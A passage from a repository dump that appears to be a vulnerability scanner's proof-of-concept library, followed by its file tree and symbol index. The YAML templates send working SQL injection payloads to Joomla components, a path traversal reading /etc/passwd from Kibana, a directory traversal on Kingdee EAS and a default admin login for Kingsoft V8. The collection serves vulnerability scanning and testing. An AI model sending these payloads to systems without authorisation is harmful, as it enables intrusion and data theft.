path: /index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5(8888)),1)
expression: response.body.bcontains(b"cf79ae6addba60ad018347359bd144d2")
expression: r0()
detail:
links:
- https://www.exploit-db.com/exploits/38797
- http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html
- https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/
================================================
FILE: pocs/joomla-cve-2017-8917-sqli.yml
================================================
name: poc-yaml-joomla-cve-2017-8917-sqli
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(8888)),1)
expression: response.body.bcontains(b"cf79ae6addba60ad018347359bd144d2")
expression: r0()
detail:
links:
- https://github.com/vulhub/vulhub/tree/master/joomla/CVE-2017-8917
================================================
FILE: pocs/joomla-cve-2018-7314-sql.yml
================================================
name: poc-yaml-joomla-cve-2018-7314-sql
manual: true
transport: http
set:
r1: randomInt(800000000, 1000000000)
rules:
r0:
request:
cache: true
method: GET
path: /index.php?option=com_prayercenter&task=confirm&id=1&sessionid=1' AND EXTRACTVALUE(22,CONCAT(0x7e,md5({{r1}})))-- X
expression: response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31)))
expression: r0()
detail:
author: 南方有梦(http://github.com/hackgov)
links:
- https://www.exploit-db.com/exploits/44160
Affected Version: 3.0.2
================================================
FILE: pocs/joomla-ext-zhbaidumap-cve-2018-6605-sqli.yml
================================================
name: poc-yaml-joomla-ext-zhbaidumap-cve-2018-6605-sqli
manual: true
transport: http
set:
rand: randomInt(2000000000, 2100000000)
rules:
r0:
request:
cache: true
method: POST
path: /index.php?option=com_zhbaidumap&no_html=1&format=raw&task=getPlacemarkDetails
headers:
Content-Type: application/x-www-form-urlencoded
body: id=-1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,md5({{rand}}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) && response.body.bcontains(b"dataexists")
expression: r0()
detail:
author: leezp
links:
- https://www.exploit-db.com/exploits/43974
- https://mp.weixin.qq.com/s?__biz=MzAxODg1MDMwOQ==&mid=2247489109&idx=1&sn=0c9a3388e4ac1389897b4449fb3afNULL0&chksm=9bcea13facb928293ac06fede04f15d564b60a5e8ad26208f28ebe175017aa3d2144617f2b60&mpshare=1&scene=23&srcid=0418r0yqNrZ1hyGCdDHl8EK1#rd
Affected Version: zhBaidumap plugin 3.0.0.*
================================================
FILE: pocs/jumpserver-unauth-rce.yml
================================================
name: poc-yaml-jumpserver-unauth-rce
manual: true
transport: http
set:
r1: randomLowercase(5)
rules:
authentication0:
request:
cache: true
method: GET
path: /api/v1/authentication/connection-token/
follow_redirects: false
expression: response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated")
authentication1:
request:
cache: true
method: GET
path: /api/v1/authentication/connection-token/?user-only={{r1}}
follow_redirects: false
expression: response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"")
users0:
request:
cache: true
method: GET
path: /api/v1/users/connection-token/
follow_redirects: false
expression: response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated")
users1:
request:
cache: true
method: GET
path: /api/v1/users/connection-token/?user-only={{r1}}
follow_redirects: false
expression: response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"")
expression: users0() && users1() || authentication0() && authentication1()
detail:
author: mvhz81
links:
- https://s.tencent.com/research/bsafe/1228.html
- https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw
- https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh
info: jumpserver unauth read logfile + jumpserver rce
================================================
FILE: pocs/jupyter-notebook-unauthorized-access.yml
================================================
name: poc-yaml-jupyter-notebook-unauthorized-access
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /terminals/3
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"terminals/websocket") && !response.body.bcontains(b"Password:")
expression: r0()
detail:
author: bufsnake(https://github.com/bufsnake)
links:
- https://vulhub.org/#/environments/jupyter/notebook-rce/
================================================
FILE: pocs/kafka-manager-unauth.yml
================================================
name: poc-yaml-kafka-manager-unauth
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"Kafka Manager</a>") && response.body.bcontains(b"<title>Kafka Manager</title>") && response.body.bcontains(b"Add Cluster")
expression: r0()
detail:
author: Aquilao(https://github.com/Aquilao)
links:
- https://blog.csdn.net/qq_36923426/article/details/111361158
================================================
FILE: pocs/kibana-cve-2018-17246.yml
================================================
name: poc-yaml-kibana-cve-2018-17246
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd
follow_redirects: false
expression: response.headers["kbn-name"] == "kibana" && response.content_type.contains("application/json") && response.body.bcontains(bytes("\"statusCode\":500")) && response.body.bcontains(bytes("\"message\":\"An internal server error occurred\""))
expression: r0()
detail:
author: canc3s(https://github.com/canc3s)
links:
- https://nvd.nist.gov/vuln/detail/CVE-2018-17246
- https://github.com/vulhub/vulhub/blob/master/kibana/CVE-2018-17246/README.md
kibana_version: before 6.4.3 and 5.6.13
================================================
FILE: pocs/kibana-unauth.yml
================================================
name: poc-yaml-kibana-unauth
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /app/kibana
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b".kibanaWelcomeView")
expression: r0()
detail:
author: Isaac(https://github.com/IsaacQiang)
links:
- https://zhuanlan.zhihu.com/p/61215662
================================================
FILE: pocs/kingdee-eas-directory-traversal.yml
================================================
name: poc-yaml-kingdee-eas-directory-traversal
manual: true
transport: http
rules:
kingdee1:
request:
cache: true
method: GET
path: /appmonitor/protected/selector/server_file/files?folder=C://&suffix=
expression: response.status == 200 && response.headers["content-type"].contains("json") && response.body.bcontains(b"{\"name\":\"Windows\",\"path\":\"C:\\\\Windows\",\"folder\":true}")
kingdee2:
request:
cache: true
method: GET
path: /appmonitor/protected/selector/server_file/files?folder=/&suffix=
expression: response.status == 200 && response.headers["content-type"].contains("json") && response.body.bcontains(b"{\"name\":\"root\",\"path\":\"/root\",\"folder\":true}")
expression: kingdee1() || kingdee2()
detail:
author: iak3ec(https://github.com/nu0l)
links:
- https://github.com/nu0l/poc-wiki/blob/main/%E9%87%91%E8%9D%B6OA%20server_file%20%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E.md
================================================
FILE: pocs/kingsoft-v8-default-password.yml
================================================
name: poc-yaml-kingsoft-v8-default-password
manual: true
transport: http
rules:
r0:
request:
cache: true
method: POST
path: /inter/ajax.php?cmd=get_user_login_cmd
body: '{"get_user_login_cmd":{"name":"admin","password":"21232f297a57a5a743894a0e4a801fc3"}}'
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(b"ADMIN") && response.body.bcontains(b"userSession")
expression: r0()
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://idc.wanyunshuju.com/aqld/2123.html
===========================================
gitextract_qmut0ion/
├── .gitattributes
├── .github/
│ ├── PULL_REQUEST_TEMPLATE.md
│ └── workflows/
│ └── check_poc.yml
├── .gitignore
├── Disclaimer.md
├── LICENSE.md
├── README.md
├── README_EN.md
├── docs/
│ ├── .nojekyll
│ └── index.html
├── fingerprints/
│ └── tcp-openbsd-openssh.yml
├── pocs/
│ ├── 74cms-sqli-1.yml
│ ├── 74cms-sqli-2.yml
│ ├── 74cms-sqli.yml
│ ├── activemq-cve-2016-3088.yml
│ ├── activemq-default-password.yml
│ ├── airflow-unauth.yml
│ ├── alibaba-canal-default-password.yml
│ ├── alibaba-canal-info-leak.yml
│ ├── alibaba-nacos-v1-auth-bypass.yml
│ ├── amtt-hiboss-server-ping-rce.yml
│ ├── apache-ambari-default-password.yml
│ ├── apache-druid-cve-2021-36749.yml
│ ├── apache-flink-upload-rce.yml
│ ├── apache-httpd-cve-2021-40438-ssrf.yml
│ ├── apache-httpd-cve-2021-41773-path-traversal.yml
│ ├── apache-httpd-cve-2021-41773-rce.yml
│ ├── apache-kylin-unauth-cve-2020-13937.yml
│ ├── apache-nifi-api-unauthorized-access.yml
│ ├── apache-ofbiz-cve-2018-8033-xxe.yml
│ ├── apache-ofbiz-cve-2020-9496-xml-deserialization.yml
│ ├── apache-storm-unauthorized-access.yml
│ ├── aspcms-backend-leak.yml
│ ├── bash-cve-2014-6271.yml
│ ├── bt742-pma-unauthorized-access.yml
│ ├── cacti-weathermap-file-write.yml
│ ├── chinaunicom-modem-default-password.yml
│ ├── cisco-cve-2020-3452-readfile.yml
│ ├── citrix-cve-2019-19781-path-traversal.yml
│ ├── citrix-cve-2020-8191-xss.yml
│ ├── citrix-cve-2020-8193-unauthorized.yml
│ ├── citrix-xenmobile-cve-2020-8209.yml
│ ├── coldfusion-cve-2010-2861-lfi.yml
│ ├── confluence-cve-2015-8399.yml
│ ├── confluence-cve-2019-3396-lfi.yml
│ ├── confluence-cve-2021-26084.yml
│ ├── confluence-cve-2021-26085-arbitrary-file-read.yml
│ ├── consul-rexec-rce.yml
│ ├── consul-service-rce.yml
│ ├── coremail-cnvd-2019-16798.yml
│ ├── couchcms-cve-2018-7662.yml
│ ├── couchdb-cve-2017-12635.yml
│ ├── couchdb-unauth.yml
│ ├── craftcms-seomatic-cve-2020-9757-rce.yml
│ ├── dahua-cve-2021-33044-authentication-bypass.yml
│ ├── datang-ac-default-password-cnvd-2021-04128.yml
│ ├── dedecms-carbuyaction-fileinclude.yml
│ ├── dedecms-cve-2018-6910.yml
│ ├── dedecms-cve-2018-7700-rce.yml
│ ├── dedecms-guestbook-sqli.yml
│ ├── dedecms-membergroup-sqli.yml
│ ├── dedecms-url-redirection.yml
│ ├── discuz-ml3x-cnvd-2019-22239.yml
│ ├── discuz-v72-sqli.yml
│ ├── discuz-wechat-plugins-unauth.yml
│ ├── discuz-wooyun-2010-080723.yml
│ ├── dlink-850l-info-leak.yml
│ ├── dlink-cve-2019-16920-rce.yml
│ ├── dlink-cve-2019-17506.yml
│ ├── dlink-cve-2020-25078-account-disclosure.yml
│ ├── dlink-cve-2020-9376-dump-credentials.yml
│ ├── dlink-dsl-2888a-rce.yml
│ ├── docker-api-unauthorized-rce.yml
│ ├── docker-registry-api-unauth.yml
│ ├── dotnetcms-sqli.yml
│ ├── draytek-cve-2020-8515.yml
│ ├── druid-monitor-unauth.yml
│ ├── drupal-cve-2014-3704-sqli.yml
│ ├── drupal-cve-2018-7600-rce.yml
│ ├── drupal-cve-2019-6340.yml
│ ├── dubbo-admin-default-password.yml
│ ├── duomicms-sqli.yml
│ ├── dvr-cve-2018-9995.yml
│ ├── e-zkeco-cnvd-2020-57264-read-file.yml
│ ├── ecology-arbitrary-file-upload.yml
│ ├── ecology-filedownload-directory-traversal.yml
│ ├── ecology-javabeanshell-rce.yml
│ ├── ecology-springframework-directory-traversal.yml
│ ├── ecology-syncuserinfo-sqli.yml
│ ├── ecology-v8-sqli.yml
│ ├── ecology-validate-sqli.yml
│ ├── ecology-workflowcentertreedata-sqli.yml
│ ├── ecshop-cnvd-2020-58823-sqli.yml
│ ├── ecshop-collection-list-sqli.yml
│ ├── ecshop-rce.yml
│ ├── eea-info-leak-cnvd-2021-10543.yml
│ ├── elasticsearch-cve-2014-3120.yml
│ ├── elasticsearch-cve-2015-1427.yml
│ ├── elasticsearch-cve-2015-3337-lfi.yml
│ ├── elasticsearch-cve-2015-5531.yml
│ ├── elasticsearch-unauth.yml
│ ├── etcd-unauth.yml
│ ├── etouch-v2-sqli.yml
│ ├── exchange-cve-2021-26855-ssrf.yml
│ ├── exchange-cve-2021-41349-xss.yml
│ ├── f5-cve-2021-22986.yml
│ ├── f5-tmui-cve-2020-5902-rce.yml
│ ├── fangweicms-sqli.yml
│ ├── feifeicms-lfr.yml
│ ├── finecms-sqli.yml
│ ├── finereport-directory-traversal.yml
│ ├── flexpaper-cve-2018-11686.yml
│ ├── flink-jobmanager-cve-2020-17519-lfi.yml
│ ├── fortigate-cve-2018-13379-readfile.yml
│ ├── frp-dashboard-unauth.yml
│ ├── gateone-cve-2020-35736.yml
│ ├── gilacms-cve-2020-5515.yml
│ ├── gitlab-graphql-info-leak-cve-2020-26413.yml
│ ├── gitlab-ssrf-cve-2021-22214.yml
│ ├── gitlist-rce-cve-2018-1000533.yml
│ ├── glassfish-cve-2017-1000028-lfi.yml
│ ├── go-pprof-leak.yml
│ ├── gocd-cve-2021-43287.yml
│ ├── grafana-default-password.yml
│ ├── h2-database-web-console-unauthorized-access.yml
│ ├── h3c-imc-rce.yml
│ ├── h3c-secparh-any-user-login.yml
│ ├── h5s-video-platform-cnvd-2020-67113-unauth.yml
│ ├── hadoop-yarn-unauth.yml
│ ├── hanming-video-conferencing-file-read.yml
│ ├── harbor-cve-2019-16097.yml
│ ├── hikvision-cve-2017-7921.yml
│ ├── hikvision-info-leak.yml
│ ├── hikvision-intercom-service-default-password.yml
│ ├── hikvision-unauthenticated-rce-cve-2021-36260.yml
│ ├── hjtcloud-arbitrary-fileread.yml
│ ├── hjtcloud-directory-file-leak.yml
│ ├── huawei-home-gateway-hg659-fileread.yml
│ ├── ifw8-router-cve-2019-16313.yml
│ ├── iis-put-getshell.yml
│ ├── influxdb-unauth.yml
│ ├── inspur-tscev4-cve-2020-21224-rce.yml
│ ├── jboss-cve-2010-1871.yml
│ ├── jboss-unauth.yml
│ ├── jeewms-showordownbyurl-fileread.yml
│ ├── jellyfin-cve-2021-29490.yml
│ ├── jellyfin-file-read-cve-2021-21402.yml
│ ├── jenkins-cve-2018-1000600.yml
│ ├── jenkins-cve-2018-1000861-rce.yml
│ ├── jenkins-unauthorized-access.yml
│ ├── jetty-cve-2021-28164.yml
│ ├── jinher-oa-c6-default-password.yml
│ ├── jira-cve-2019-11581.yml
│ ├── jira-cve-2019-8442.yml
│ ├── jira-cve-2019-8449.yml
│ ├── jira-cve-2020-14179.yml
│ ├── jira-cve-2020-14181.yml
│ ├── jira-ssrf-cve-2019-8451.yml
│ ├── joomla-cnvd-2019-34135-rce.yml
│ ├── joomla-component-vreview-sql.yml
│ ├── joomla-cve-2015-7297-sqli.yml
│ ├── joomla-cve-2017-8917-sqli.yml
│ ├── joomla-cve-2018-7314-sql.yml
│ ├── joomla-ext-zhbaidumap-cve-2018-6605-sqli.yml
│ ├── jumpserver-unauth-rce.yml
│ ├── jupyter-notebook-unauthorized-access.yml
│ ├── kafka-manager-unauth.yml
│ ├── kibana-cve-2018-17246.yml
│ ├── kibana-unauth.yml
│ ├── kingdee-eas-directory-traversal.yml
│ ├── kingsoft-v8-default-password.yml
│ ├── kingsoft-v8-file-read.yml
│ ├── kong-cve-2020-11710-unauth.yml
│ ├── kubernetes-unauth.yml
│ ├── kyan-network-monitoring-account-password-leakage.yml
│ ├── landray-oa-custom-jsp-fileread.yml
│ ├── lanproxy-cve-2021-3019-lfi.yml
│ ├── laravel-cve-2021-3129.yml
│ ├── laravel-debug-info-leak.yml
│ ├── laravel-improper-webdir.yml
│ ├── maccms-rce.yml
│ ├── maccmsv10-backdoor.yml
│ ├── metinfo-cve-2019-16996-sqli.yml
│ ├── metinfo-cve-2019-16997-sqli.yml
│ ├── metinfo-cve-2019-17418-sqli.yml
│ ├── metinfo-file-read.yml
│ ├── metinfo-lfi-cnvd-2018-13393.yml
│ ├── minio-default-password.yml
│ ├── mongo-express-cve-2019-10758.yml
│ ├── mpsec-isg1000-file-read.yml
│ ├── msvod-sqli.yml
│ ├── myucms-lfr.yml
│ ├── nagio-cve-2018-10735.yml
│ ├── nagio-cve-2018-10736.yml
│ ├── nagio-cve-2018-10737.yml
│ ├── nagio-cve-2018-10738.yml
│ ├── natshell-arbitrary-file-read.yml
│ ├── netentsec-icg-default-password.yml
│ ├── netentsec-ngfw-rce.yml
│ ├── netgear-cve-2017-5521.yml
│ ├── nextjs-cve-2017-16877.yml
│ ├── nexus-cve-2019-7238.yml
│ ├── nexus-cve-2020-10199.yml
│ ├── nexus-cve-2020-10204.yml
│ ├── nexus-default-password.yml
│ ├── nexusdb-cve-2020-24571-path-traversal.yml
│ ├── nhttpd-cve-2019-16278.yml
│ ├── node-red-dashboard-file-read-cve-2021-3223.yml
│ ├── novnc-url-redirection-cve-2021-3654.yml
│ ├── nps-default-password.yml
│ ├── ns-asg-file-read.yml
│ ├── nsfocus-uts-password-leak.yml
│ ├── nuuo-file-inclusion.yml
│ ├── odoo-file-read.yml
│ ├── openfire-cve-2019-18394-ssrf.yml
│ ├── opentsdb-cve-2020-35476-rce.yml
│ ├── panabit-gateway-default-password.yml
│ ├── panabit-ixcache-default-password.yml
│ ├── pandorafms-cve-2019-20224-rce.yml
│ ├── pbootcms-database-file-download.yml
│ ├── pentaho-cve-2021-31602-authentication-bypass.yml
│ ├── php-cgi-cve-2012-1823.yml
│ ├── phpcms-cve-2018-19127.yml
│ ├── phpmyadmin-cve-2018-12613-file-inclusion.yml
│ ├── phpmyadmin-setup-deserialization.yml
│ ├── phpok-sqli.yml
│ ├── phpshe-sqli.yml
│ ├── phpstudy-backdoor-rce.yml
│ ├── phpstudy-nginx-wrong-resolve.yml
│ ├── phpunit-cve-2017-9841-rce.yml
│ ├── powercreator-arbitrary-file-upload.yml
│ ├── prometheus-url-redirection-cve-2021-29622.yml
│ ├── pulse-cve-2019-11510.yml
│ ├── pyspider-unauthorized-access.yml
│ ├── qibocms-sqli.yml
│ ├── qilin-bastion-host-rce.yml
│ ├── qizhi-fortressaircraft-unauthorized.yml
│ ├── qnap-cve-2019-7192.yml
│ ├── rabbitmq-default-password.yml
│ ├── rails-cve-2018-3760-rce.yml
│ ├── razor-cve-2018-8770.yml
│ ├── rconfig-cve-2019-16663.yml
│ ├── resin-cnnvd-200705-315.yml
│ ├── resin-inputfile-fileread-or-ssrf.yml
│ ├── resin-viewfile-fileread.yml
│ ├── rockmongo-default-password.yml
│ ├── ruijie-eg-cli-rce.yml
│ ├── ruijie-eg-file-read.yml
│ ├── ruijie-eg-info-leak.yml
│ ├── ruijie-eweb-rce-cnvd-2021-09650.yml
│ ├── ruijie-nbr1300g-cli-password-leak.yml
│ ├── ruijie-uac-cnvd-2021-14536.yml
│ ├── ruoyi-management-fileread.yml
│ ├── saltstack-cve-2020-16846.yml
│ ├── saltstack-cve-2021-25282-file-write.yml
│ ├── samsung-wea453e-default-pwd.yml
│ ├── samsung-wea453e-rce.yml
│ ├── samsung-wlan-ap-wea453e-rce.yml
│ ├── sangfor-ba-rce.yml
│ ├── sangfor-edr-arbitrary-admin-login.yml
│ ├── sangfor-edr-cssp-rce.yml
│ ├── sangfor-edr-tool-rce.yml
│ ├── satellian-cve-2020-7980-rce.yml
│ ├── seacms-before-v992-rce.yml
│ ├── seacms-rce.yml
│ ├── seacms-sqli.yml
│ ├── seacms-v654-rce.yml
│ ├── seacmsv645-command-exec.yml
│ ├── secnet-ac-default-password.yml
│ ├── seeyon-a6-employee-info-leak.yml
│ ├── seeyon-ajax-unauthorized-access.yml
│ ├── seeyon-cnvd-2020-62422-readfile.yml
│ ├── seeyon-oa-cookie-leak.yml
│ ├── seeyon-session-leak.yml
│ ├── seeyon-wooyun-2015-0108235-sqli.yml
│ ├── seeyon-wooyun-2015-148227.yml
│ ├── shiziyu-cms-apicontroller-sqli.yml
│ ├── shopxo-cnvd-2021-15822.yml
│ ├── showdoc-default-password.yml
│ ├── showdoc-uploadfile.yml
│ ├── skywalking-cve-2020-9483-sqli.yml
│ ├── solarwinds-cve-2020-10148.yml
│ ├── solr-cve-2017-12629-xxe.yml
│ ├── solr-cve-2019-0193.yml
│ ├── solr-fileread.yml
│ ├── solr-velocity-template-rce.yml
│ ├── sonarqube-cve-2020-27986-unauth.yml
│ ├── sonicwall-ssl-vpn-rce.yml
│ ├── spark-api-unauth.yml
│ ├── spark-webui-unauth.yml
│ ├── spon-ip-intercom-file-read.yml
│ ├── spon-ip-intercom-ping-rce.yml
│ ├── spring-cloud-cve-2020-5405.yml
│ ├── spring-cloud-cve-2020-5410.yml
│ ├── spring-cve-2016-4977.yml
│ ├── springboot-env-unauth.yml
│ ├── springcloud-cve-2019-3799.yml
│ ├── supervisord-cve-2017-11610.yml
│ ├── tamronos-iptv-rce.yml
│ ├── telecom-gateway-default-password.yml
│ ├── tensorboard-unauth.yml
│ ├── terramaster-cve-2020-15568.yml
│ ├── terramaster-tos-rce-cve-2020-28188.yml
│ ├── thinkadmin-v6-readfile.yml
│ ├── thinkcmf-lfi.yml
│ ├── thinkcmf-write-shell.yml
│ ├── thinkphp-v6-file-write.yml
│ ├── thinkphp5-controller-rce.yml
│ ├── thinkphp5023-method-rce.yml
│ ├── tianqing-info-leak.yml
│ ├── tomcat-cve-2017-12615-rce.yml
│ ├── tomcat-cve-2018-11759.yml
│ ├── tongda-meeting-unauthorized-access.yml
│ ├── tongda-user-session-disclosure.yml
│ ├── tpshop-directory-traversal.yml
│ ├── tpshop-sqli.yml
│ ├── tvt-nvms-1000-file-read-cve-2019-20085.yml
│ ├── typecho-rce.yml
│ ├── ueditor-cnvd-2017-20077-file-upload.yml
│ ├── uwsgi-cve-2018-7490.yml
│ ├── vbulletin-cve-2019-16759-bypass.yml
│ ├── vbulletin-cve-2019-16759.yml
│ ├── vmware-vcenter-arbitrary-file-read.yml
│ ├── vmware-vcenter-cve-2021-21985-rce.yml
│ ├── vmware-vcenter-unauthorized-rce-cve-2021-21972.yml
│ ├── vmware-vrealize-cve-2021-21975-ssrf.yml
│ ├── weaver-ebridge-file-read.yml
│ ├── weblogic-cve-2017-10271.yml
│ ├── weblogic-cve-2019-2725.yml
│ ├── weblogic-cve-2019-2729-1.yml
│ ├── weblogic-cve-2019-2729-2.yml
│ ├── weblogic-cve-2020-14750.yml
│ ├── weblogic-ssrf.yml
│ ├── webmin-cve-2019-15107-rce.yml
│ ├── weiphp-path-traversal.yml
│ ├── weiphp-sql.yml
│ ├── wifisky-default-password-cnvd-2021-39012.yml
│ ├── wordpress-cve-2019-19985-infoleak.yml
│ ├── wordpress-ext-adaptive-images-lfi.yml
│ ├── wordpress-ext-mailpress-rce.yml
│ ├── wuzhicms-v410-sqli.yml
│ ├── xdcms-sql.yml
│ ├── xiuno-bbs-cvnd-2019-01348-reinstallation.yml
│ ├── xunchi-cnvd-2020-23735-file-read.yml
│ ├── yapi-rce.yml
│ ├── yccms-rce.yml
│ ├── yongyou-u8-oa-sqli.yml
│ ├── yonyou-grp-u8-sqli-to-rce.yml
│ ├── yonyou-grp-u8-sqli.yml
│ ├── yonyou-nc-arbitrary-file-upload.yml
│ ├── yonyou-nc-bsh-servlet-bshservlet-rce.yml
│ ├── youphptube-encoder-cve-2019-5127.yml
│ ├── youphptube-encoder-cve-2019-5128.yml
│ ├── youphptube-encoder-cve-2019-5129.yml
│ ├── yungoucms-sqli.yml
│ ├── zabbix-authentication-bypass.yml
│ ├── zabbix-cve-2016-10134-sqli.yml
│ ├── zabbix-default-password.yml
│ ├── zcms-v3-sqli.yml
│ ├── zeit-nodejs-cve-2020-5284-directory-traversal.yml
│ ├── zeroshell-cve-2019-12725-rce.yml
│ ├── zimbra-cve-2019-9670-xxe.yml
│ └── zzcms-zsmanage-sqli.yml
├── report/
│ ├── .browserslistrc
│ ├── .editorconfig
│ ├── .eslintrc.js
│ ├── .gitignore
│ ├── README.md
│ ├── babel.config.js
│ ├── package.json
│ ├── public/
│ │ └── index.html
│ ├── src/
│ │ ├── App.vue
│ │ ├── assets/
│ │ │ └── .gitkeep
│ │ ├── components/
│ │ │ ├── ServiceVulnerability.vue
│ │ │ ├── Subdomain.vue
│ │ │ └── WebVulnerability.vue
│ │ ├── icons.js
│ │ ├── main.js
│ │ └── views/
│ │ └── Home.vue
│ ├── vue.config.js
│ └── webstorm.config.js
├── tests/
│ ├── .gitkeep
│ ├── README.md
│ ├── evilpot/
│ │ ├── README.md
│ │ ├── build.ps1
│ │ ├── build.sh
│ │ ├── evil/
│ │ │ ├── echo.go
│ │ │ ├── evil.go
│ │ │ └── util.go
│ │ ├── go.mod
│ │ ├── go.sum
│ │ └── main.go
│ └── vulstudy/
│ ├── BodgeIt/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── docker-compose.yml
│ ├── DSVW/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── docker-compose.yml
│ ├── DVWA/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── docker-compose.yml
│ │ ├── php.ini
│ │ └── run.sh
│ ├── Hackademic/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── docker-compose.yml
│ ├── MCIR/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── docker-compose.yml
│ ├── README.md
│ ├── WackoPicko/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── docker-compose.yml
│ ├── WebGoat/
│ │ ├── README.md
│ │ ├── docker-compose.yml
│ │ ├── webgoat-server/
│ │ │ ├── Dockerfile
│ │ │ └── start.sh
│ │ └── webwolf/
│ │ ├── Dockerfile
│ │ └── start.sh
│ ├── XSSed/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── docker-compose.yml
│ │ └── docker-php.conf
│ ├── bWAPP/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── docker-compose.yml
│ ├── doc/
│ │ └── README.md
│ ├── docker-compose.yml
│ ├── mutillidae/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── docker-compose.yml
│ ├── sqli-labs/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── docker-compose.yml
│ ├── vulnerable-node/
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── docker-compose.yml
│ │ └── postgresql/
│ │ ├── Dockerfile
│ │ └── init.sql
│ └── www/
│ ├── Dockerfile
│ ├── README.md
│ ├── index.css
│ └── index.html
└── webhook/
├── README.md
├── app.py
├── config.py
├── config.yml
├── executor/
│ ├── __init__.py
│ ├── executor.py
│ └── registry.py
├── model/
│ ├── __init__.py
│ ├── config.py
│ ├── plugin.py
│ └── vuln.py
├── plugins/
│ ├── __init__.py
│ ├── base.py
│ └── demo.py
├── requirements.txt
└── views/
├── __init__.py
└── views.py
SYMBOL INDEX (45 symbols across 15 files)
FILE: report/webstorm.config.js
function resolve (line 4) | function resolve (dir) {
FILE: tests/evilpot/evil/echo.go
function ServeEchoServer (line 9) | func ServeEchoServer(addr string) error {
FILE: tests/evilpot/evil/evil.go
function ServeEvilServer (line 20) | func ServeEvilServer(addr string, hard bool) error {
function NewEvilServeMux (line 24) | func NewEvilServeMux(hard bool) *http.ServeMux {
function GenEvilContent (line 120) | func GenEvilContent(dst *bytes.Buffer, data []byte) {
function init (line 231) | func init() {
FILE: tests/evilpot/evil/util.go
function Split (line 26) | func Split(data []byte, sep func(b byte) bool, handler func([]byte) bool) {
function calculate (line 53) | func calculate(expression string) (interface{}, error) {
FILE: tests/evilpot/main.go
function main (line 10) | func main() {
FILE: webhook/app.py
function index (line 17) | def index():
function webhook (line 21) | def webhook():
FILE: webhook/config.py
function parse_config (line 8) | def parse_config(path: str):
function get_config (line 29) | def get_config() -> Config:
FILE: webhook/executor/executor.py
function pool_task_wrapper (line 12) | def pool_task_wrapper(method, *args):
function dispatch_web_vuln (line 19) | def dispatch_web_vuln(instance: str, vuln: WebVuln):
function dispatch_service_vuln (line 25) | def dispatch_service_vuln(instance: str, vuln: ServiceVuln):
function dispatch_statistics (line 31) | def dispatch_statistics(instance: str, s: Statistics):
FILE: webhook/executor/registry.py
function import_class (line 9) | def import_class(cl):
function init_plugin (line 16) | def init_plugin(config: Config):
FILE: webhook/model/config.py
class ServerConfig (line 6) | class ServerConfig:
class PluginConfig (line 15) | class PluginConfig:
class Config (line 21) | class Config:
FILE: webhook/model/plugin.py
class PluginMeta (line 5) | class PluginMeta:
FILE: webhook/model/vuln.py
class Statistics (line 8) | class Statistics:
class WebParamPosition (line 26) | class WebParamPosition(Enum):
class WebParam (line 35) | class WebParam:
class WebRequest (line 45) | class WebRequest:
class WebResponse (line 51) | class WebResponse:
class WebVuln (line 57) | class WebVuln:
class ServiceVuln (line 79) | class ServiceVuln:
FILE: webhook/plugins/base.py
class BasePlugin (line 9) | class BasePlugin:
method meta (line 11) | def meta(self) -> PluginMeta:
method logger (line 15) | def logger(self):
method process_web_vuln (line 18) | def process_web_vuln(self, instance: str, vuln: WebVuln):
method process_service_vuln (line 21) | def process_service_vuln(self, instance: str, vuln: ServiceVuln):
method process_statistics (line 24) | def process_statistics(self, instance: str, statistics: Statistics):
FILE: webhook/plugins/demo.py
class Plugin (line 10) | class Plugin(BasePlugin):
method __init__ (line 11) | def __init__(self, arg1, arg2):
method meta (line 16) | def meta(self):
method process_statistics (line 19) | def process_statistics(self, instance: str, statistics: Statistics):
method process_service_vuln (line 22) | def process_service_vuln(self, instance: str, vuln: ServiceVuln):
method process_web_vuln (line 25) | def process_web_vuln(self, instance: str, vuln: WebVuln):
